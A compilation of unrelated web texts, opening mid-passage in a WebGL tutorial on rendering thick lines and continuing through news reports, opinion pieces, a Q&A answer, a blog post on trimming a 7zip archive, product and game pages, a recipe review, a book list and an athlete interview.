areas), and so forth. This can also lead to some more creative and interesting line rendering, as in the above demo.  A typical way of achieving this is to get the normals for each point along a path, and expand outwards by half the thickness on either side. For an implementation, see polyline-normals. The math behind the miter join is discussed here.  More advanced meshes may need to emit new geometries for end caps, bevel joins, feathering, and so forth. Handling these edge cases can get fairly complex, as you can see in Vaser C/C++ source.  For anti-aliasing, you have a few options:  hope that MSAA is supported and that you will never need the lines rendered to an off-screen buffer  add more triangles for the feathered edges of a stroke (as in this image)  use a texture lookup to gradate the alpha; very easy but does not scale well  in the fragment shader, compute the anti-aliasing based on the projected scale of the stroke in screen space  render prefiltered gl.LINES as a second pass, around the edge of your stroke  Note: a drawback that comes with miter-joined lines is sharp edges. When the angle connecting two segments is very sharp, the miter length grows exponentially toward infinity, and causes huge artifacts in rendering. In some applications this may not be a problem, in others you might want to limit the miter or fall back to another join (i.e. bevel) when the angle is too sharp.  The above Triangles demo uses extrude-polyline, a small work-in-progress module for building a triangulated mesh out of a 2D polyline. Eventually it aims to support round joins/caps and proper miter limiting.  Expanding in a Vertex Shader  Triangulation can add a fair amount of complexity to your code, and the mesh needs to be re-constructed when the stroke and join style changes. If you just want simple thick lines in WebGL, it can be a bit overkill.  This demo above expands the stroke in the vertex shader, where the thickness is a uniform. We submit two vertices for each point in our path, and pass the line normals and miter lengths as vertex attributes. Each pair has one normal (or miter) flipped, so that the two points are pushed away from the centre to form a thick line.  attribute vec2 position; attribute vec2 normal; attribute float miter; uniform mat4 projection; void main() { //push the point along its normal by half thickness vec2 p = position.xy + vec2(normal * thickness/2.0 * miter); gl_Position = projection * vec4(p, 0.0, 1.0); }  The inner stroke effect on the left (click the canvas to animate it) is created in the fragment shader using the signed distance from centre. We can also achieve line dashes, gradients, glows, and other effects by passing distanceAlongPath as another vertex attribute.  ? For a ThreeJS implementation of this approach, including line dashes, see three-line-2d.  Screen-Space Projected Lines  The previous demo works well for 2D (orthographic) lines, but may not fit your design needs in 3D space. To give the line a constant thickness regardless of the 3D view, we need to expand the line after projecting it into screen space.  Like the last demo, we need to submit each point twice, with mirrored orientations so they are pushed away from each other. However, instead of computing the normal and miter length CPU-side, we do it in the vertex shader. To do this, we need to send along vertex attributes for the next and previous positions along the path.  In the vertex shader, we compute our join and extrusion in screen space to ensure the constant thickness. To work in screen space, we need to use the illusive homogeneous component, W . Also known as “perspective divide.” This gives us Normalized Device Coordinates (NDC), which lie in the range [-1, 1] . We then correct for aspect ratio before expanding our lines. We also do the same for previous and next positions along the path:  mat4 projViewModel = projection * view * model; //into clip space vec4 currentProjected = projViewModel * vec4(position, 1.0); //into NDC space [-1 .. 1] vec2 currentScreen = currentProjected.xy / currentProjected.w; //correct for aspect ratio (screenWidth / screenHeight) currentScreen.x *= aspect;  There are some edge cases that need to be handled for the first and last points in a path, but otherwise a simple segment might look like this:  //normal of line (B - A) vec2 dir = normalize(nextScreen - currentScreen); vec2 normal = vec2(-dir.y, dir.x); //extrude from center & correct aspect ratio normal *= thickness/2.0; normal.x /= aspect; //offset by the direction of this point in the pair (-1 or 1) vec4 offset = vec4(normal * direction, 0.0, 1.0); gl_Position = currentProjected + offset;  Notice there is no attempt to join two segments here. This approach is sometimes preferable to miter since it doesn’t deal with the problems of sharp edges. The twisting circle in the above demo is not using any miter joins.  On the other hand, the hourglass shape in the demo would look pinched and deformed without a miter join. For this, the vertex shader implements a basic miter join without any limiting.  We could make some slight variations to the math to achieve a different design. For example, using the Z component of the NDC to scale the thickness of the lines as they fall deeper into the scene. This would help give a greater sense of depth.  ? For a ThreeJS implementation of this approach, see THREE.MeshLine by @thespite.  Other Approaches  As with most things in WebGL, there are a dozen ways to skin a cat. The above demos were implemented with rather low-level abstractions so you can get a sense of what is going on, and decide for yourself the most suitable approach for your next application. Some other approaches that might be viable:  Modules Used  The demos were composed of dozens of open source modules on npmjs.org. Some of the path-related modules:  Further Reading  3,837 Kudos
-WOAH! DUDE! Okay sorry my initial shock is gone. Alright just because your daughter has condoms in her purse does not mean she has a penis. It might mean she is sexually active or it means she considering being sexually active. But in either case she should be applauded because she is being careful and smart. Guys don't always have a condom and she is taking that into mind and being safe about it. I am very, very, very sure she does not have a penis. If you really want to know bring up the discussion of sex and have conversation about it. Once again I DOUBT she has a penis.  Source(s): I've had 5 years of Sex Ed. and I know A LOT about sex and the human body parts that have to deal with your question. Rachel B · 9 years ago 1 Thumbs up 0 Thumbs down Report Abuse
-Call it the Bannon Test: If Steve says you’re crossing a line, then you should absolutely take a step back and reconsider how you got to this point. This is exactly what happened when Trump made the snap decision to fire James Comey earlier this week. Bannon, and many others in the White House, told Trump to wait until a more opportune moment, but Trump, whose impulse control is somewhere between beagle and 5-year-old, couldn’t wait. He fired his FBI director and kicked up a shitstorm that could be an existential threat to his administration.  The Trump administration’s initial case for firing Comey—that he had badly mishandled the investigation into Hillary Clinton’s emails—fell apart in less than twelve hours. Instead, it became clear that Trump was firing Comey because he did not like how Comey was handling the investigation into the Trump campaign’s ties to Russia. According to The New York Times, the decision to fire Comey was most likely made after the FBI director’s most recent stint before Congress:  Mr. Comey’s fate was sealed by his latest testimony about the bureau’s investigation into Russia’s efforts to sway the 2016 election and the Clinton email inquiry. Mr. Trump burned as he watched, convinced that Mr. Comey was grandstanding. He was particularly irked when Mr. Comey said he was “mildly nauseous” to think that his handling of the email case had influenced the election, which Mr. Trump took to demean his own role in history.  Trump appears to have fired Comey because he had simply grown tired of the Russia story undermining his presidency. He was reportedly furious when Russia once again reared its head, killing whatever momentum he had on the American Health Care Act.  Trump fired Comey to make the Russia investigation go away, but the irony is that he’s almost certainly made the situation much worse. The White House and the intelligence community are leaking like crazy. He’s in a full-fledged war with the FBI. Republicans in Congress are once again eyeing him warily, and may be forced to set up some sort of independent commission to investigate Trump’s ties to Russia. Even if there is no cover-up, the optics of firing the guy investigating you are insanely bad.  Trump insists that he has nothing to do with Russia and yet acts as if he has something incredibly damaging to hide. Before Comey was fired, Republicans in Congress seemed more than happy to run interference for Trump by turning the investigation into a referendum on the surveillance state. Trump has made that task infinitely more difficult. “I’m a very instinctual person, but my instinct turns out to be right,” Trump has said. But the master of instinctual politics keeps punching himself in the face.
-The defender returned from a thigh tear in November but has suffered another injury set-back that could rule him out for the remainder of the season  Injury-plagued Bayern Munich defender Holger Badstuber could be out for the rest of the season after fracturing his ankle in training on Saturday.  Badstuber has already undergone surgery on the injury and is expected to be ruled out of action for the next three months.  The Germany international's career has been blighted by a series of injury problems, having suffered cruciate ligament damage on two occasions.  Bad news: Holger @Badstuber fractured his ankle in training today. He's already undergone surgery and is out for 3 months. Get well soon! — FC Bayern English (@FCBayernEN) February 13, 2016  The 26-year-old only returned from a thigh tear which kept him out for more than six months last November, and the news is another bitter blow for the centre-back.  Badstuber has made seven Bundesliga appearances this season following his return and started the last four games for Pep Guardiola's team.
-Canada is falling behind the developed world in women's equality, as poverty rates climb for elderly single women and for single-parent families headed by women, says an internal report by Status of Women Canada.  According to the report, this country is in the bottom ranks in terms of the pay gap between men and women; support for child care and parental leave is well below average; the country registers 57th for gender equality in Parliament's elected members; and it lacks a national strategy to halt violence against women.  "Canada has no comprehensive national strategy to address violence against women, lagging behind several comparable countries, including the U.K., Ireland, Australia and New Zealand," says the draft document marked "secret."  The candid assessment, never intended for public release, is dated Feb. 10 this year and was ordered by the Privy Council Office to alert deputy ministers across many departments about issues facing women and girls in Canada.  A copy of the 35-page presentation — with five pages of "policy implications" blacked out entirely as "advice" — was obtained by CBC News under the Access to Information Act.  Minister declines comment  An expert on the ways women are affected by public policy said she was surprised by the accuracy and completeness of the analysis, given the federal government's "limited approach to gender issues."  "I'm really disappointed that this document didn't make it into the public sphere," said Kathleen Lahey, law professor at Queen's University in Kingston, Ont.  A spokesman for Kellie Leitch, the minister responsible for Status of Women, said Leitch "doesn't comment on draft slideshows."  "This was prepared by public servants for a committee of public servants and not shared with the minister's office," Andrew McGrath, Leitch's director of communications, said in an email. He declined further comment.  The report's assertion that Canada has no national strategy on violence against women appears contrary to Leitch's announcement on Sept. 15, 2014, of an "action plan" to address family violence and violent crimes against aboriginal women and girls.  However, a spokeswoman for Status of Women Canada said the $25-million announcement was targeted to respond specifically to violence against indigenous women and girls. "On the broader issue of violence against women and girls, the government has taken a broad range of actions," Leonie Roux said, without elaborating.  The document does note some positives: Canadian women are better educated, and are entering the work force in greater numbers. But men are paid 20 per cent more than their female colleagues, a "pay gap" that puts Canada fourth from the bottom of 34 OECD countries, with only South Korea, Japan and Germany scoring worse.  "When it comes to the salary gap between the sexes, women have hit a brick wall," says the report.  And "while rates of male-on-male violence in Canada have diminished over time, rates of violence against women have not, and reporting has not increased." Rural, immigrant and indigenous women are cited as particularly vulnerable.  Fallout from recession  The report notes that poverty rates rose slightly between 2009 and 2011 for one-parent families headed by women, and for unattached elderly females, likely fallout from the 2008-09 global recession. (Figures for 2012 and beyond were not available.)  "A huge number of women have just been washed out of the whole safety net and pushed into part-time, self-employment [and] contract work," said Lahey, in validating the findings.  "And the two groups that have really taken it the hardest are single parents and older women."  The Status of Women spokeswoman called the report a "diagnostic document" intended to "facilitate discussion."  "As in all societies, we can always find areas for improvement such as addressing violence against women," said Roux. "All levels of government have a responsibility for, and are working on, addressing women's labour market participation, including salary gaps where they exist, and addressing violence against women."  Plans for a women's-issues debate in the current federal election campaign collapsed after Prime Minister Stephen Harper declined to participate and NDP Leader Tom Mulcair later chose not to participate without Harper's attendance.  Organizers instead plan one-on-one recorded interviews with leaders of the NDP, Liberals, Greens and Bloc. They are expected to air on Sept. 21.  Also on HuffPost:
-The Bad, The Good, and The Cloud  The Bad  This weekend I was working on a little project that involved manipulating a fairly large (1.8 gB compressed, 17 gB uncompressed) 7zip archive. I don’t have 17 gB to uncompress to on my laptop and a significant amount of the archive was uninteresting to me. I thought it would be sortav fun and worthwhile to remove the files that are not needed, so I ran a man 7zr and started reading.  Reading the manpage, it seems like one could do:  7zr d foo.gz file/to/delete.txt  Alas, for no obvious reason, that does exactly nothing. Instead, after some googling, the recommended method is:  7zr -d foo.gz -r delete.txt  Of course the manpage (which the document idiotically parrots) says:  -r[-|0] Recurse subdirectories (CAUTION: this flag does not do what you think, avoid using it)  So fine, we have a way to do that, but with an archive this big it takes minutes to delete a single file, and my archive has something like eleven thousand files. I think I did the math and my computer would take nearly two weeks to delete the files assuming a linear rate that decreased as files were deleted.  The manpage also mentions the -si flag:  -si Read data from StdIn (eg: tar cf - directory | 7zr a -si directory.tar.7z)  I’m not totally clear what that is telling me. I figured I’d try what was obvious to me:  echo file/to/delete.txt | 7zr d -si foo.7z  That replaces the entire archive with an empty archive. Worthless.  The Good  So while that is all terrible, Unix is pretty great. To delete (some of) the files I don’t care about I can do:  7zr l foo.7z | \ grep 'yawn' | \ cut -b60- | \ xargs -d '  ' -n1 -I{} \ 7zr d foo.7z -r {}  This writes a temp file in the current directory (instead of $TMPDIR , wah wah), so copying it to /run/shm so that it’s 100% in memory helps a tiny bit, but not enough to be sensibly fast.  On top of the command above, I wrote a couple other commands to see my progress:  megs() perl -E'printf "%0.02f mB  ", (((stat "old.7z")[7] - (stat "new.7z")[7])/1024/1024)'  newcount() { 7zr l $HOME/tmp/new.7z | grep 'yawn' | wc -l } new() { local old=5365; local new=$(newcount); echo $(( $old - $new )) }  Those were really handy when I was checking my deletion progress. Unfortunately I defined them in the shell so I had to make sure to only run them from the window I defined them in. I then decided to write this tool, which allows definition of new commands almost as simply as defining a function in the shell.  Usage:  fn dumb-echo perl -E'say "dumb"' fn dumb-count 'ls | wc -l'  The code is here; feel free to let me now if you have ideas on improvements.  I’ve been wanting to do something like this for a while, so that was pretty fun and rewarding.  Sadly, even after all of that, it was still too slow on my laptop.  The Cloud  So instead of leaving my laptop running at circa 50% CPU for two weeks, I figured out a better solution: use AWS to extract the entire archive, delete the files I don’t want, and recreate the archive. On top of that I suspect that it would be worth it for me to use something like tgz instead of the poorly interfaced and implemented 7z.  So in the course of 2 hours I both got a new free tier AWS account (I lost the credentials for my other one), spun up a machine, and started the upload of the archive. I had to get a larger than default (but still free) EBS volume or the extracted archive wouldn’t fit. After that it was almost literally:  scp foo.7z $mymachine:foo.7z ssh $mymachine sudo apt-get install p7zip 7zr e foo.7z rm *yawn* tar c foo.tar foo gz foo.tar exit scp $mymachine:foo.tar.gz foo.tgz  Sadly and maybe unsurprisingly I discovered that gzip was terrible for these kinds of binaries. I ended up just using rsync with compression to get the remaining 5 gB of files after cleaning them up.  Load Comments  Posted Mon, Sep 7, 2015
-Anti-World System 5 button set of 1″ buttons  This is a 5 button set of quality American handmade 1″ pinback buttons from the Christian punk band Anti-World System. Designs include:  Anti-World System Jesus menorah logo  “Expel the Immoral Brother” from 1 Corinthians 5:13 (also a song from Anti-World System)  “Killed for Cash”, a pro-life song from Anti-World System, and a slogan for the push to defund Planned Parenthood  The Arabic letter ن (which sounds like “noon”) and is the first letter of the word “Nasrani” (Nazarene, or Christian) in Arabic. It’s what Isis is spray painting on the houses of Christian families, who are suffering murder, crucifixion, rape, kidnapping, theft, special taxation and intimidation under the fierce hand of the Islamic State group. This pin is a tribute to them.  Chi-rho, a monogram of chi (Χ) and rho (Ρ) as the first two letters of Greek Khristos Christ, used as a Christian symbol.
-Should probably rewrite the recipe,but the one given here is a great base and probably worthy of the 4 forks on it's own. As many of the reviewers I used a combo of white and dark bone in/skin on chicken. For spices I used 1 1/4 tsp sweet paprika, 1/2 tsp. cumin, 1/4 tsp cayeene pepper, 1/2 tsp. ginger, 1/4 tsp. coriander and 1/4 tsp. cinnamon. Followed the recipe prep but added 1 Tbsp. honey, cup of carrot coins and several quartered small turnips from my CSA bag along with the broth, wine and olives (combo of green and kalamata because it was what I had on hand). Served it with couscous cooked in chicken broth with dried cranberries and toasted almonds tossed in during fluffing. Absolutely yummy!! Only change I would make for next time would be to increase slightly the amount of preserved lemons (homemade of course)!
-Footbrawl Playground is a Physics Playground and in fact the most pointless Game in the world. So I came up for the Idea of "Footbrawl Playground". Its actually just a Physics Playground where you can goof around with a Friend, spawn NPCS, Place Traps and some more stuff. Don't expect a Game of the year but rather have 5 minutes of fun without thinking too much.  If you wanna know more about the current status of the Game, Visit my Blog or follow me on twitter.  Decide if you wanna play a round of Football...  ...or just try to be the nicest Stuntman in the world!  you are able to place all traps freely AND it has Local Multiplayer (Keyboard only for now)  ... or play a round of car soccer like in this other car soccer Game... i forgot the name...  Fully customizable Physics Playground  Drivable Cars  Low Gravity Mode  Slow Motion Mode  Car Soccer  Local Multiplayer for 4 Players  Placeable Traps like Bounchers Human Pinball Explosive Barrles Ramps Spinner you want more? looking forward to new requests!  Basic Soccer Mode  Spawn as much NPCs and Cars as you want and enjoy the madness  Gamepad Support  Multitrack Camera (so that all players are always on screen)  Minimum:  OS: Windows Vista / Windows 7 or newer  Processor: 2.4GHz Dual Core  Memory: 4 GB RAM  Graphics: 512 MB NVIDIA GeForce 9800 / ATI Radeon HD 2600 XT  DirectX: Version 10  Storage: 2 GB available space  Recommended:  OS: Windows Vista / Windows 7 or newer  Processor: 2.4GHz Dual Core  Memory: 4 GB RAM  Graphics: 1 GB NVIDIA 460 / AMD Radeon 5870  DirectX: Version 11  Storage: 2 GB available space  please read this manual before you start playing  Website: playground.pixelpizza.de  twitter: https://twitter.com/Der_Kevin  facebook: phttps://www.facebook.com/Footbrawl  subreddit: https://www.reddit.com/r/Footbrawl/  Newsletter: phttp://eepurl.com/b1lUV9  All paying customers of Footbrawl playground on itch.io can obtain a steam key when they click the request key button on their purchase page!  You can also do this if you if you bought the Game in the past!
-SING BURI — A van which police said was carrying foreign workers crashed into a truck early Friday morning in Sing Buri, killing all 14 aboard.  A van collided into a 10-wheeler truck and was engulfed in flames at about 3am on Friday on the Asian Highway in Sing Buri province, killing 14 people including the driver. The rescue team took about 20 minutes to put out the fire.  Col. Picha Rujinam of Mueang Sing Buri Police said the 13 passengers were migrant workers from Tak province but said they couldn’t verify their nationalities since their ID were burnt. The van driver, Pathompat Panpol, 47, is thought to be the only Thai among the dead.  Picha said Pathompat might have fallen asleep at the wheel.  Sunthorn Fukthong, the truck driver, told police he was driving when the van crashed into the back.  Earlier this month, four Japanese tourists and one Thai guide died in a van crash in Ayutthaya province. Only one day after New Year’s Day, 25 people died in a collision between van and truck in Chonburi.
-What happens when police meet citizens who don’t tolerate their rights to be infringed? Watch for yourself.  The altercation was videotaped back in 2013. It shows two Detroit police officers inside a Coney Island restaurant fist fighting Naibon Miller, 28, and Tywonn Mitchell, 23. Both men had to spend three days in jail for resisting arrest and assaulting a police officer. However, all the charges were dropped by a Wayne County Prosecutor after watching this video. You can clearly see that one of the cops initiated the fight poking one of the men in the chest.  The story got a new turn last week when Detroit paid out $120,000 settlement to Miller and Mitchell for the incident. It is great that the right of Americans to self-defense was recognized. It’s a pity taxpayers have to pay for the police mistakes again! PD says neither of the cops involved are currently employed with the Detroit PD, although they are allegedly working for agencies in the Metro Detroit area. I wonder how many more criminal cops continue to work for the Force? How much more meaningless brutality do we have to face before PDs start firing criminals in blue?
-Bill Gates presents his seven top reads in 2013 Commenting on the lack of novels on the list, Gates writes:  "It’s not that I don’t enjoy fiction. I’ve read The Catcher in the Rye a bunch of times—it’s one of my favorite books ever (and I enjoyed Salinger, the documentary that came out this year). I did read Gary Shteyngart’s Super Sad True Love Story, which was entertaining though it didn’t have as much science fiction as I expected. But I read mostly nonfiction because I always want to learn more about how the world works. And reading is how I learn best."  1.The Box, by Marc Levinson  The Box: How the Shipping Container Made the World Smaller and the World Economy Bigger is a non-fiction book by Marc Levinson charting the historic rise of the intermodal container (shipping container) and how it changed the economic landscape of the global economy.The New York Times called it "a smart, engaging book".The book inspired the name for the "The Box" project run by BBC News from September 2008 onwards, in which the BBC were tracking a container for a period of one year. The Box won a bronze medal in the Independent Publisher Book Awards (2007) in the "Finance/Investment/Economics" category.The Box was shortlisted for the Financial Times and Goldman Sachs Business Book of the Year Award (2006). The Box: How the Shipping Container Made the World Smaller and the World Economy Bigger is a non-fiction book by Marc Levinson charting the historic rise of the intermodal container (shipping container) and how it changed the economic landscape of the global economy.The New York Times called it "a smart, engaging book".The book inspired the name for the "The Box" project run by BBC News from September 2008 onwards, in which the BBC were tracking a container for a period of one year. The Box won a bronze medal in the Independent Publisher Book Awards (2007) in the "Finance/Investment/Economics" category.The Box was shortlisted for the Financial Times and Goldman Sachs Business Book of the Year Award (2006).  2.The Most Powerful Idea in the World, by William Rosen William Rosen, seeks to answer these questions and more with The Most Powerful Idea in the World. A lively and passionate study of the engineering and scientific breakthroughs that led to the steam engine, this book argues that the very notion of intellectual property drove not only the invention of the steam engine but also the entire Industrial Revolution.first sustained era of economic improvement. To do so, Rosen conjures up an eccentric cast of characters, including the legal philosophers who enabled most the inventive society in millennia, and the scientists and inventors;Thomas Newcomen, Robert Boyle, and James Watt;who helped to create and perfect the steam engine over the centuries. With wit and wide-ranging curiosity, Rosen explores the power of creativity, capital, and collaboration in the brilliant engineering of the steam engine and how this power source, which fueled factories, ships, and railroads, changed human history.  3.Harvesting the Biosphere, by Vaclav Smil The biosphere -- the Earth's thin layer of life -- dates from nearly four billion years ago, when the first simple organisms appeared. Many species have exerted enormous influence on the biosphere's character and productivity, but none has transformed the Earth in so many ways and on such a scale as Homo sapiens. In Harvesting the Biosphere, Vaclav Smil offers an interdisciplinary and quantitative account of human claims on the biosphere's stores of living matter, from prehistory to the present day. Smil examines all harvests -- from prehistoric man's hunting of mega-fauna to modern crop production -- and all uses of harvested biomass, including energy, food, and raw materials. Without harvesting of the biomass, Smil points out, there would be no story of human evolution and advancing civilization; but at the same time, the increasing extent and intensity of present-day biomass harvests are changing the very foundations of civilization's well-being.  4.The World Until Yesterday, by Jared Diamond The World Until Yesterday provides a mesmerizing firsthand picture of the human past as it had been for millions of years—a past that has mostly vanished—and considers what the differences between that past and our present mean for our lives today. This is Jared Diamond’s most personal book to date, as he draws extensively from his decades of field work in the Pacific islands, as well as evidence from Inuit, Amazonian Indians, Kalahari San people, and others. Diamond doesn’t romanticize traditional societies—after all, we are shocked by some of their practices—but he finds that their solutions to universal human problems such as child rearing, elder care, dispute resolution, risk, and physical fitness have much to teach us. A characteristically provocative, enlightening, and entertaining book, The World Until Yesterday will be essential and delightful reading.  5.Poor Numbers, by Morten Jerven One of the most urgent challenges in African economic development is to devise a strategy for improving statistical capacity. Reliable statistics, including estimates of economic growth rates and per-capita income, are basic to the operation of governments in developing countries and vital to nongovernmental organizations and other entities that provide financial aid to them. Rich countries and international financial institutions such as the World Bank allocate their development resources on the basis of such data. The paucity of accurate statistics is not merely a technical problem; it has a massive impact on the welfare of citizens in developing countries. Where do these statistics originate? How accurate are they? Poor Numbers is the first analysis of the production and use of African economic development statistics. Morten Jerven's research shows how the statistical capacities of sub-Saharan African economies have fallen into disarray. The numbers substantially misstate the actual state of affairs. As a result, scarce resources are misapplied. Development policy does not deliver the benefits expected. Policymakers' attempts to improve the lot of the citizenry are frustrated. Donors have no accurate sense of the impact of the aid they supply. Jerven’s findings from sub-Saharan Africa have far-reaching implications for aid and development policy. As Jerven notes, the current catchphrase in the development community is "evidence-based policy," and scholars are applying increasingly sophisticated econometric methods—but no statistical techniques can substitute for partial and unreliable data.  6.Why Does College Cost So Much?, by Robert B. Archibald and David H. Feldman This book offers a different view. To explain rising college cost, the authors place the higher education industry firmly within the larger economic history of the United States. The trajectory of college cost is similar to cost behavior in many other industries, and this is no coincidence. Higher education is a personal service that relies on highly educated labor. A technological trio of broad economic forces has come together in the last thirty years to cause higher education costs, and costs in many other industries, to rise much more rapidly than the inflation rate. The main culprit is economic growth itself. This finding does not mean that all is well in American higher education. A college education has become less reachable to a broad swathe of the American public at the same time that the market demand for highly educated people has soared. This affordability problem has deep roots. The authors explore how cost pressure, the changing wage structure of the US economy, and the complexity of financial aid policy combine to reduce access to higher education below what we need in the 21st century labor market. This book is a call to calm the rhetoric of blame and to instead find policies that will increase access to higher education while.  7.The Bet, by Paul Sabin The Bet weaves the two men’s lives and ideas together with the era’s partisan political clashes over the environment and the role of government. In a lively narrative leading from the dawning environmentalism of the 1960s through the pivotal presidential contest between Jimmy Carter and Ronald Reagan and on into the 1990s, Paul Sabin shows how the fight between Ehrlich and Simon—between environmental fears and free-market confidence—helped create the gulf separating environmentalists and their critics today. Drawing insights from both sides, Sabin argues for using social values, rather than economic or biological absolutes, to guide society’s crucial choices relating to climate change, the planet’s health, and our own.  Reference:  http://www.businessinsider.com/bill-gates-best-books-2013-12 http://en.wikipedia.org/wiki/The_Box:_How_the_Shipping_Container_Made_the_World_Smaller_and_the_World_Economy_Bigger http://www.amazon.com/The-Most-Powerful-Idea-World/dp/0226726347 http://www.amazon.com/Harvesting-Biosphere-What-Taken-Nature/dp/026201856X http://www.amazon.com/The-World-Until-Yesterday-Traditional/dp/0670024813 http://www.amazon.com/Poor-Numbers-Development-Statistics-Political/dp/080147860X http://www.amazon.com/Why-Does-College-Cost-Much/dp/0199744505 http://www.amazon.com/The-Bet-Ehrlich-Julian-Earth%C2%92s/dp/0300176481
-SINN Fein’s seven MPs will fly into London today to take up their Commons offices - sparking Tory fears they may try to wreck the Prime Minister’s wafer thin majority.  The Sun can also reveal the Irish Republican party have refused to rule out taking their seats for the first time to vote through a Labour Queen’s Speech if Jeremy Corbyn offered them a referendum on unifying Ireland.  PA:Press Association 6 Seven Sinn Fein MPs including Barry McElduff (left) and Michelle Gildernew (right) will fly to London to take up their Westminster offices after celebrating with leader Michelle O'Neill (centre)  PA:Press Association 6 The backing of seven Sinn Fein MPs would reduce the Tory majority to just four  The party confirmed that its MPs will travel to Westminster for the House of Commons induction day for newcomers and will sign up for office space, register for staff allowances and expenses - despite their century-long policy of abstention in the UK Parliament.  Their presence at Westminster will spark fears in No10 that they are plotting to break their boycott to join other opposition parties in opposing Theresa May’s Queen’s Speech.  Mr Corbyn has already unveiled his plan to present an alternative Queen’s Speech next week - including pledges to keep the winter fuel allowance, protecting the pensions triple lock and scrapping the bedroom tax, which he hopes will entice enough Tory MPs to deliver a government defeat.  The backing of seven Sinn Fein MPs would reduce the Tory majority to just four - which would bring the Government to the brink of collapse.  MOST READ IN POLITICS FEELING LUCKY? Winning Euromillions numbers for Tuesday February 26 2018 £21million jackpot BACK FROM THE DEAD 'Extinct' Galapagos tortoise could 'reproduce with sperm stored inside' 'THEY NEED LOVE' Couple lose unborn baby in crash as they drove to hospital to give birth LEFT FOR DEAD Girl, 10, found 'howling' in stream after boy, 16, 'choked and raped her' ACID ATTACK What is the Katie Piper Foundation and how does it help burns victims? WALKIES PORKIES Dog trainer on disability benefits filmed running with pooches at Crufts HEN DO MYSTERY Brit newlywed, 27, 'CLUNG to balcony before fatal Benidorm hotel plunge' PARK STRIFE Mum screams at motorist and refuses to move out of way in bizarre park road row MOTORWAY MAYHEM M6 crash chaos as rush-hour traffic gridlocked after horror smash MOMO SHOCK Creepy 'suicide character' Momo told lad, 8, to 'stab himself in neck'  A defeat for Mrs May would topple her premiership and give Mr Corbyn the chance to form a minority Labour government himself.  Labour would have two weeks to get a Queen’s Speech through the Commons and a Sinn Fein insider refused to rule out taking the historic step of taking seats if Republican-supporting Mr Corbyn offered a referendum on Irish unification.  A Sinn Fein insider said: “It’s entirely speculative - we shouldn’t get into the realms of what if, what if, what if.”  Reuters 6 Sinn Fein's president Gerry Adams said a referendum on Irish unity was inevitable  News Group Newspapers Ltd 6 Labour leader Jeremy Corbyn announced he was planning on giving an alternative Queen's speech next week  It came as Sinn Fein president Gerry Adams said a referendum on Irish unity was inevitable as rival parties reconvened in Stormont yesterday to restore power-sharing talks following the six-months deadlock.  He said: “One thing we can say for certainty, there is going to be a referendum on Irish unity,” he said.  “I can’t say when it’s going to be, but there is going to be such a referendum.”  The parties face a deadline of June 29 before direct rule is imposed on Northern Ireland.  Former Irish Taoiseach John Bruton warned Sinn Fein that the prospect of direct rule should scare Irish Republicans given the DUP’s enhanced influence on the UK Government. The unionist party is today set to strike a deal with Mrs May’s government to prop up her minority government.  Getty Images 6 DUP leader Arlene Foster is set to strike a deal with Theresa May to give the Conservatives a majority  Reuters 6 James Brokenshire said he believed a deal to restore power-sharing is possible  Mr Bruton was echoed by DUP leader Arlene Foster, who told Sinn Fein: “If others decide that they are not coming back into the devolved administration here in Northern Ireland then those issues will have to be dealt with at Westminster.  “It is really for Sinn Fein to decide where they want those powers to lie.”  Northern Ireland Secretary James Brokenshire - who flew into Belfast to chair talks yesterday - said he believed a deal to restore power-sharing before the end of the month was possible.  And he insisted the DUP-Tory arrangement in Westminster was an “entirely separate” issue.  Corbyn 'key factor' in talks with Tories  ULSTER unionists have vowed to prop up Theresa May’s enfeebled government for as long as Jeremy Corbyn runs Labour, it was claimed yesterday.  Sources at the DUP said their fierce opposition to the Labour leader – given his IRA sympathies – was a key factor in the talks with the Tories.  Asked how long the "confidence and supply" arrangement could stay in place, the source said: “For as long as Jeremy Corbyn is leader of the Labour Party.”  DUP chief Arlene Foster last month branded Mr Corbyn “abhorrent” in a scathing attack on the leftie for repeatedly refusing to condemn the IRA.  She said: “There were many fine people who reached out to the IRA and asked them to desist. He actually supported them, he wanted them to win!”  DUP MPs were flying to London last night ahead of the reopening of Parliament today.  Labour yesterday attacked the DUP’s “abhorrent” views on gay rights and women’s rights.  But Shadow Trade Secretary Barry Gardiner was forced to admit former Labour PM Gordon Brown held talks about deals with the DUP in the run-up to the 2010 Election – which resulted in a hung parliament.  Tory MPs were yesterday told by the party’s high command to boast about the Conservative record on gay rights.  In a media briefing, Tory MPs were told to make clear the Tories would continue to champion equality.  The briefing revealed by the Guido Fawkes website said: “Conservatives in Government introduced same sex marriage and earlier this year passed ‘Turing’s Law’ to remove historic convictions for consensual acts.  “As we work with others to govern in the national interest and provide the certainty and stability the country needs as we embark on Brexit and beyond – we will continue to promote and champion the equal rights we believe in.”
-Croatian freediver Goran Colak this past weekend broke the Guinness World Record for the longest pure oxygen-aided breath hold at 22 minutes and 30 seconds.  According to a post on Colak‘s Facebook page:  Crazy evening today, main square in Zagreb, with rain and cold weather, I manage to hold my breath on pure O2 for 22:30min in front of live audience and live TV broadcast. And brake Guinness WR in this discipline! Thanks to all that help with organization, the city of Zagreb and my coach!  Goran was gracious enough to answer a few emailed questions from DeeperBlue:  DeeperBlue: How long did you train for this event? What did that training entail?  Goran Colak: I did not have special preparation for this event, I am on my normal training routine and schedule and I was just lucky enough that this kind of event fitted perfectly at my current training regime.  Training at this point in season for me is mainly focused on my [Dynamic No Fins] and prolonging my static times, so that was basically what I was doing the whole time, specific training for that.  DB: During the event, did you ever feel strange or out of place? Were there any challenges during the attempt?  GC: Event was held at the main square in Zagreb, in front of live audience ant with live TV broadcast in prime time. Like that alone was not enough there was heavy rain during the whole day and the temperature dropped to 10 degreases Celsius. So overall it was quite a challenge to do it under this conditions in a 3mill suit.  DB: How did you overcome those challenges, if any?  GC: No special trick how I manage to overcome all that, just kept my head under the water.  DB: What is your next goal?  GC: My next goal, well I hope to advance my DNF distance for a bit till the end of the year. After that, I’ll take few weeks of rest and travel around before we start everything all over again.  Photo credit: marjanradovic.com
